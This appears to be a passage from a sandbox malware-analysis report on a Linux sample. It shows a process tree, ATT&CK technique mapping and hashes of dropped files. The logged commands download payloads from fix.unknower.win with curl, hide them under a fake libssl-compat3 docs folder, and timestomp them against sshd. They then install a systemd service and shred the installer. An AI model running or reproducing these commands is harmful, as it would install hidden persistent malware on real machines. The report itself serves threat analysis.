  apt-cache show libelf1t64
  2⤵
  - Writes file to tmp directory
  PID:945
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:946
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:947
- /usr/bin/timeout
  timeout 90 apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
  2⤵
  - Removes the immutable protection flag from a file
  PID:948
- - /usr/local/sbin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:949
- - /usr/local/bin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:949
- - /usr/sbin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:949
- - /usr/bin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    - Writes file to tmp directory
    - Software Deployment Tools
    PID:949
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      Reads runtime system information
      PID:950
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      Reads runtime system information
      PID:951
- /bin/mkdir
  mkdir -p /usr/share/doc/libssl-compat3 /var/log/dist-upgrade
  2⤵
  PID:952
- /usr/bin/curl
  curl --connect-timeout 10 --max-time 15 -sI http://fix.unknower.win/
  2⤵
  - Checks CPU configuration
  PID:953
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/ssl-compet.tmp.645
  2⤵
  PID:955
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/ssl-compet.tmp.645 http://fix.unknower.win/ssl-compet
  2⤵
  - Checks CPU configuration
  PID:956
- /bin/mv
  mv /usr/share/doc/libssl-compat3/ssl-compet.tmp.645 /usr/share/doc/libssl-compat3/ssl-compet
  2⤵
  PID:958
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:962
- /usr/bin/wc
  wc -c
  2⤵
  PID:961
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.645
  2⤵
  PID:963
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.645 http://fix.unknower.win/mnmonitor.sh
  2⤵
  - Checks CPU configuration
  PID:964
- /bin/mv
  mv /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.645 /usr/share/doc/libssl-compat3/mnmonitor.sh
  2⤵
  PID:966
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:970
- /usr/bin/wc
  wc -c
  2⤵
  PID:969
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/config.json.tmp.645
  2⤵
  PID:971
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/config.json.tmp.645 http://fix.unknower.win/config.json
  2⤵
  - Checks CPU configuration
  PID:972
- /bin/mv
  mv /usr/share/doc/libssl-compat3/config.json.tmp.645 /usr/share/doc/libssl-compat3/config.json
  2⤵
  PID:974
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:978
- /usr/bin/wc
  wc -c
  2⤵
  PID:977
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.645
  2⤵
  PID:979
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.645 http://fix.unknower.win/cpuhide-bpf
  2⤵
  - Checks CPU configuration
  PID:980
- /bin/mv
  mv /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.645 /usr/share/doc/libssl-compat3/cpuhide-bpf
  2⤵
  PID:982
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:986
- /usr/bin/wc
  wc -c
  2⤵
  PID:985
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/cpuhide.so.tmp.645
  2⤵
  PID:987
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/cpuhide.so.tmp.645 http://fix.unknower.win/cpuhide.so
  2⤵
  - Checks CPU configuration
  PID:988
- /bin/mv
  mv /usr/share/doc/libssl-compat3/cpuhide.so.tmp.645 /usr/share/doc/libssl-compat3/cpuhide.so
  2⤵
  PID:992
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:996
- /usr/bin/wc
  wc -c
  2⤵
  PID:995
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/ssl-compet
  2⤵
  - File and Directory Permissions Modification
  PID:997
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/mnmonitor.sh
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/cpuhide-bpf
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/cpuhide.so
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/config.json
  2⤵
  PID:1001
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/cpuhide-bpf
  2⤵
  PID:1002
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/cpuhide.so
  2⤵
  PID:1003
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/mnmonitor.sh
  2⤵
  PID:1004
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/ssl-compet
  2⤵
  PID:1005
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3
  2⤵
  PID:1006
- /usr/bin/id
  id -u
  2⤵
  PID:1007
- /usr/bin/id
  id -u
  2⤵
  PID:1008
- /usr/bin/id
  id -u
  2⤵
  PID:1009
- /bin/cat
  cat
  2⤵
  PID:1010
- /usr/bin/timeout
  timeout 8 systemctl daemon-reload
  2⤵
  PID:1011
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1012
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1012
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1012
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1012
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1012
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1012
- /usr/bin/timeout
  timeout 5 systemctl enable ssl-compat
  2⤵
  PID:1025
- - /usr/local/sbin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1026
- - /usr/local/bin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1026
- - /usr/sbin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1026
- - /usr/bin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1026
- - /sbin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1026
- - /bin/systemctl
    systemctl enable ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1026
- /usr/bin/timeout
  timeout 10 systemctl start ssl-compat
  2⤵
  PID:1039
- - /usr/local/sbin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1040
- - /usr/local/bin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1040
- - /usr/sbin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1040
- - /usr/bin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1040
- - /sbin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1040
- - /bin/systemctl
    systemctl start ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1040
- /bin/sleep
  sleep 2
  2⤵
  PID:1042
- /usr/bin/timeout
  timeout 5 systemctl is-active --quiet ssl-compat
  2⤵
  PID:1160
- - /usr/local/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1163
- - /usr/local/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1163
- - /usr/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1163
- - /usr/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1163
- - /sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1163
- - /bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1163
- /usr/bin/id
  id -u
  2⤵
  PID:1169
- /usr/bin/shred
  shred -u /tmp/install.sh
  2⤵
  - Indicator Removal: File Deletion
  - Writes file to tmp directory
  PID:1172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Software Deployment Tools

T1072

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

File Deletion

T1070.004

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Adversary-in-the-Middle

T1557

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Software Deployment Tools

T1072

Collection

Adversary-in-the-Middle

T1557

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hosts.xmon.645

Path /etc/hosts.xmon.645
Size 38B
SHA256 6f4b54419e7158e96c41ed146bdd8ab4468b63cb9218f39bd471907eb2b19743
MD5 1c7f1dbcbb707bca69bdf99e6ffd7ec2
SHA1 47e623e3121990b5f1e7e97c4e9fcc94904ee0fb
SHA512 24d6b47333a57dd5c64683dcdfd6e2d4f03283170157ef7f5728d5dd94571e875fe92dee225931d6c5f3b0c121b196d183afdfc716f9a845dd61b4e75ae22c4a
MD5 SHA1 SHA512

Submit Download

hosts.xmon.645

Path /etc/hosts.xmon.645
Size 58B
SHA256 8cdf82ce6711ea5275f213f2bd606caccc4301b96754fafbd2e1b4d37c1aac2c
MD5 b0bc8dc67ed138009f60bbb9d9002834
SHA1 9a31552fc9c79355c0e8bfbe9c4c1771b0732996
SHA512 6d06cc8f63183e0e7d441b873dac00312a657cd5b881111a558e6721633e0fa4ceca19f3eab10c20c14d22ec7dd01b39c5b121160a3c20ca4abfed6576642746
TLSH
T16DA00261195592C29AA795458571403AD503C0D10168E755D4162840523110C5451420
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.645

Path /etc/hosts.xmon.645
Size 108B
SHA256 60e2d57676c1fe4604d46ab1b75eb304a6b15a7d99d3bc4f025ef3151e088f02
MD5 d7c0d0fcd21d8bda946ad7980e65f3dd
SHA1 1e886f86331af746eb41e86f914756132227248a
SHA512 07c4180b67ced34730dd3146ca91ae51a96a45fdb71e54bd4af7d78e00c9e8baa4ed6c5fb996f74ee1208db5159974c8eee9767a3f7f8a5d67656316169374a3
TLSH
T12CB012D11D5346F345E75645E0370036CA03C0C000E4EFA084361800113013C2972150
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.645

Path /etc/hosts.xmon.645
Size 109B
SHA256 0b218b24d2f3aa0570e7d4bb37bba466122df6d04a6b28b4b33934a4c09c99fa
MD5 a09bdf77acc4121d68844f5fe936e61f
SHA1 f5a79ef92bec376c3d35c8d6c56a0fe18601dee5
SHA512 76dec0fef233b113d2ddfedec4fed647daf61339272251c02789b796a01b7bea6a0bf5f74270cce40163e7c0867f2d997b5bdf77d613e9f59a85f995f0ced6f2
TLSH
T134B012D11D534AF345E75645E0370037CA03C0C000E4EFA084361800513013C2972150
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.645

Path /etc/hosts.xmon.645
Size 1KB
SHA256 b147791757012bc530e8ab9c509e746cfe3324c013fb034aff1a8992a95da686
MD5 581fdb6468ce93b31ce4a66fc3e96629
SHA1 f4d9f473385b29b75cd72c9048b121a8bb17d973
SHA512 d9fd42d4a5a73664b974d63090749091ea86741acc36282bb3ae0d02333b6a64adef36ed337a1517ea48ec5687d1fff1510c8363582938bf4bb03828339e74b5
TLSH
T1E42166B2D422D7F804E390623835623BC563C45AC9AEB7FA965CBA99523EDCC2164470
MD5 SHA1 SHA512 TLSH

Submit Download

ssl-compat.service

Path /etc/systemd/system/ssl-compat.service
Size 260B
SHA256 d91f8a34c533ef068075fc88c425c4a9bfc324ea4a940db28659a50dd7cf521c
MD5 1b022620f82b8eeeb001f30f1a17a283
SHA1 0b678208d983595b5a19faaabd33c35d9b294064
SHA512 85fa94d5d4bac8725b31dacecb928f825bdf0c9d71fce5865064cdd1e3a86033004766aad488e210f42b47ae3b515967b8f71901a6a367206259a5f2a4499d9b
TLSH
T1E6D09532761214F1FD4965335F632B80CE141149C58F54704EE1286D45E5D97812596D
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.miHwa6

Path /tmp/sh-thd.miHwa6
Size 868B
SHA256 4e3c947aae713b313ebaa1efb1ba5379ed77263cab25d97b9033c14454aee675
MD5 e7192f64133d2b4385ebfea4fb49b867
SHA1 d3984172cef75ea9b16de9672fff88e60a5e8fe6
SHA512 c3496241a6f77abb66cddffd06e1d0a721a1c39c7d2e25715a588a3570d5e1f8d96e87b1a0035319d20c15ff2abda512489e45c6ded350f2ab983ef768c085cb
TLSH
T1C911B1B1D032D7F845D3A0323871663BC5B7C51AC9AEB7FA954CBB98913CCCC6160460
MD5 SHA1 SHA512 TLSH

Submit Download

config.json.tmp.645

Path /usr/share/doc/libssl-compat3/config.json.tmp.645
Size 4KB
SHA256 498d6b9ac83b710158213f45a7270768c32fd4e2b531a4ac3bc276c38164069a
MD5 f8339816bec82e5538fb5e2fe1709353
SHA1 91762039444303b79b1d92c0484504fd3dd0fcec
SHA512 2effef8fa6d0b13dc98419ee18d9a7809c386ccdfee4f07fbda6fb60a95c32a0721634d7028a782309f959fa598637ab98430c26e6a7516eb836ecc10e90387e
SSDEEP 48:EePpTXychTtPK7H61b/ojz6KQivbTDzE/XaJeHQJyy:EePpTXycq61b/ojz6KQifDzhowF
TLSH
T1EB91C435CA180CFE04BCD26CD9B89286D668831B63446C6B76FC495C1F336327AD6E9D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cpuhide-bpf.tmp.645

Path /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.645
Size 58KB
SHA256 1f0457dda40401cbe8409b8375ba9008634771ec5eb9a99c7a84b4e8385d33aa
MD5 431cef8d5983252ea7ad95cf5b03e3c6
SHA1 333133a21fa79c18476292a0ff849e10f794024e
SHA512 91ddef3850d6d98d5955ba9352a5c246f042c4720b4c1eb58224fd40c86f221b78ac3fe11c5b4b9a91aede6c4b08cd77133ba282c8a256ae62ad7eddb9961c00
SSDEEP 1536:opU5KaiCqSVn58+ouyJSbal+cuyyLNtuW8mf0FbD:oW3C4yJqq
TLSH
T13943D806A4B09936C45A423248A7863B67B2F3659B128F3F755C737B1E4F34D2EC27A4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cpuhide.so.tmp.645

Path /usr/share/doc/libssl-compat3/cpuhide.so.tmp.645
Size 9KB
SHA256 13d9cec95267ecfa0c38b25ff47d021fd6d8120bc7c734981169c4424be1d754
MD5 f223f91f3673da8fa1b2bdbd91100856
SHA1 a7526891f166f72ee5fe0c0d14c5187c01e38295
SHA512 9c743889216c36214135b677ff5e3678c0728a15ca0e89d6760e885b2229d8de0b05894145bde3ab27c593ab044a4d3c6945e2a92bc6138e03f3705e6dca774d
SSDEEP 96:RWDMBWBPeEOa++HqLSkJqCSEeftAXLNQnXS94dXq8GQhB+aW8CSPy:RWA8peEOa+FpSh8NQnfgyhY
TLSH
T15422A30AF2758A7DC4A99334888B873267F0F8148122173337199B783C937644F9BAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mnmonitor.sh.tmp.645

Path /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.645
Size 66KB
SHA256 0885c67d2eea1bee556e6305998bc71d85e3420cabf77b9531fad71c92f0e3cc
MD5 64abdc11aec051ee6ce836c64f30d87c
SHA1 81a7cc7ed6e5684f79d6294697561ef2902f72d7
SHA512 7aa89c310c4065874b00813b3d9adf205a004cd06928dfd52e58034fb0eaae2982fabf6436a3776e0ad801257ebb01935b8b842f6556dae6300a5464da097351
SSDEEP 768:3hgZLh+aSGtgXkadWeMOVmvzZbVbjss5uyB0N0R4isCfjeO:q0oe8NbVbc2eCfiO
TLSH
T11F631A71E17887B275A5C05C9BC65150170E3127394D2428B1BDBA6C7FFC2BCA0A9BBE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssl-compet.tmp.645

Path /usr/share/doc/libssl-compat3/ssl-compet.tmp.645
Size 6.7MB
SHA256 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c
MD5 8f633ade35df4f992eb28a2c5bc37cef
SHA1 6b2fe529339896b22328dec8936219e7b8e3252f
SHA512 8073ded4e0b5d6333ecb0b324cf09c023dfa99c6110ad6f86225f1a4b9a0dcdf88bd094da9c920a8b729c020990dba9f263481030dec463ab9fbc41cba050c73
SSDEEP 98304:LS8DtMxKWZzBbmDvDvD0iWOMe2FMXWeXjLnx3mQ/nUmumVdMf+RPE3PE3PEbb2mG:DDGAjrYUBlK4rMVe4bLGLfi776u8jW
TLSH
T1CF666D07B6A258FCC1AAC870865FD573B931B8985211793B3794AB302F27F605B1DFA1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads